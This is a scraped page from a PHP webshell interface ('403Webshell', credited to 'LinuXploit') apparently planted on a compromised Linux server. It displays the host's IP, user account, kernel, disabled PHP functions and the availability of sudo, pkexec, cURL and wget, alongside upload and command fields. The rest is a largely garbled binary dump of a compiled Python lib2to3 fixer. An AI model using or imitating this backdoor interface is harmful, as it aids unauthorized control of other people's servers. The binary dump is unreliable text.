403Webshell
Server IP : 88.99.149.37  /  Your IP : 216.73.216.141
Web Server : nginx/1.31.2
System : Linux server-88-99-149-37 6.12.0-124.56.5.el10_1.x86_64 #1 SMP PREEMPT_DYNAMIC Fri May 15 06:12:08 EDT 2026 x86_64
User : muralimurth ( 1015)
PHP Version : 8.4.23
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/1/cwd/lib64/python3.12/lib2to3/fixes/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/1/cwd/lib64/python3.12/lib2to3/fixes/__pycache__/fix_isinstance.cpython-312.opt-1.pyc
�

�֦iH��J�dZddlmZddlmZGd�dej
�Zy)a,Fixer that cleans up a tuple argument to isinstance after the tokens
in it were fixed.  This is mainly used to remove double occurrences of
tokens as a leftover of the long -> int / unicode -> str conversion.

eg.  isinstance(x, (int, long)) -> isinstance(x, (int, int))
       -> isinstance(x, int)
�)�
fixer_base)�tokenc��eZdZdZdZdZd�Zy)�
FixIsinstanceTz�
    power<
        'isinstance'
        trailer< '(' arglist< any ',' atom< '('
            args=testlist_gexp< any+ >
        ')' > > ')' >
    >
    �c���t�}|d}|j}g}t|�}|D]�\}}	|	jtj
k(rP|	j|vrB|t|�dz
ks�C||dzjtjk(s�gt|��s|j|	�|	jtj
k(s��|j|	j���|r#|djtjk(r|d=t|�dk(r5|j}
|
j|d_
|
j|d�y||dd|j�y)N�args�����)�set�children�	enumerate�typer�NAME�value�len�COMMA�next�append�add�parent�prefix�replace�changed)�self�node�results�names_inserted�testlistr	�new_args�iterator�idx�arg�atoms           �5/usr/lib64/python3.12/lib2to3/fixes/fix_isinstance.py�	transformzFixIsinstance.transforms������6�?��� � �����T�?�� �H�C���x�x�5�:�:�%�#�)�)�~�*E���T��Q��&�4��a��=�+=�+=����+L���N������$��8�8�u�z�z�)�"�&�&�s�y�y�1�!�����)�)�U�[�[�8�����x�=�A���?�?�D�!%���H�Q�K���L�L��!��%��D��G��L�L�N�N)�__name__�
__module__�__qualname__�
BM_compatible�PATTERN�	run_orderr'�r(r&rrs���M��G��I�r(rN)�__doc__�r�
fixer_utilr�BaseFixrr/r(r&�<module>r4s$�����$�J�&�&�$r(

Youez - 2016 - github.com/yon3zu
LinuXploit